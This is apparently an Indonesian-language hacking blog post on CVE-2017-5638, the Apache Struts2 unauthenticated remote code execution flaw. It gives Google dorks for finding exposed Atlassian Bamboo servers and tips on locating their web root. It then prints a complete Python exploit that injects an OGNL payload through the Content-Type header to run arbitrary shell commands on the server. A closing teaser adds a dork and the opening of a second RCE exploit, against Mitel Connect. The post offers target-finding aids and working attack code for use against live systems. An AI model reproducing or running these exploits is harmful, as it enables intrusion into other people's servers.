Langsung ke konten utama

CVE 2017-5638: Struts2 Unauthenticated RCE

CVE: 2017-5638
Title: Struts Unauthenticated RCE
Dork: inurl: viewAdministrators.action
            [ Dork hasil pengembangan ]
           intext: Bamboo administrators inurl: viewAdministrators.action
           filetype: action site:in

Kerentanan ini menyebabkan penyerang dapat mengakses perintah shell tanpa otenkasi (Unauthenticated). Melewati headers. public_html Kerentanan ini biasanya terletak di direktori '/opt'. Agak sulit menemukan public_html Kerentanan ini.
Tips: Jika target menggunakan bamboo. root site terletak di (../atlassian-bamboo)
* Kerentanan ini terletak di file action.

Exploit scripts.
Author: -
Bahasa: python3
Raw: https://www.exploit-db.com/raw/41570
'''
#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page


if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)
'''

Komentar

Postingan populer dari blog ini

CVE 2018-5782: Mitel connect onsite 19.49.5200.0 RCE

CVE: 2018-5782 Title: Mitel connect onsite 19.49.5200.0 RCE Dork:  +"Public" +"My Conferences" +"Personal Library" +"My Profile" Kerentanan ini menyebabkan penyerang dapat mengakses perintah shell tanpa otenkasi (Unauthenticated). Beberapa dari situs ini tidak dapat writable menggunakan wget dan curl. Jadi gunakan 'echo' sebagai gantinya Exploit scripts: Author: menkrep1337. Bahasa: python3. Dependensi: requests. [ pip install requests ] Pastebin: https://pastebin.com/raw/nqUgi7gs ''' import base64, requests, sys def build_shoretel(cmd):         obj = {                 "hostId": "system",                 "keyCode": "base64_decode",                 "meetingType": "{${gKeyCode}($gSessionDir)}",                 "sessionDir": base64.b64encode(bytes(cmd, "utf-8")).decode("ascii"), ...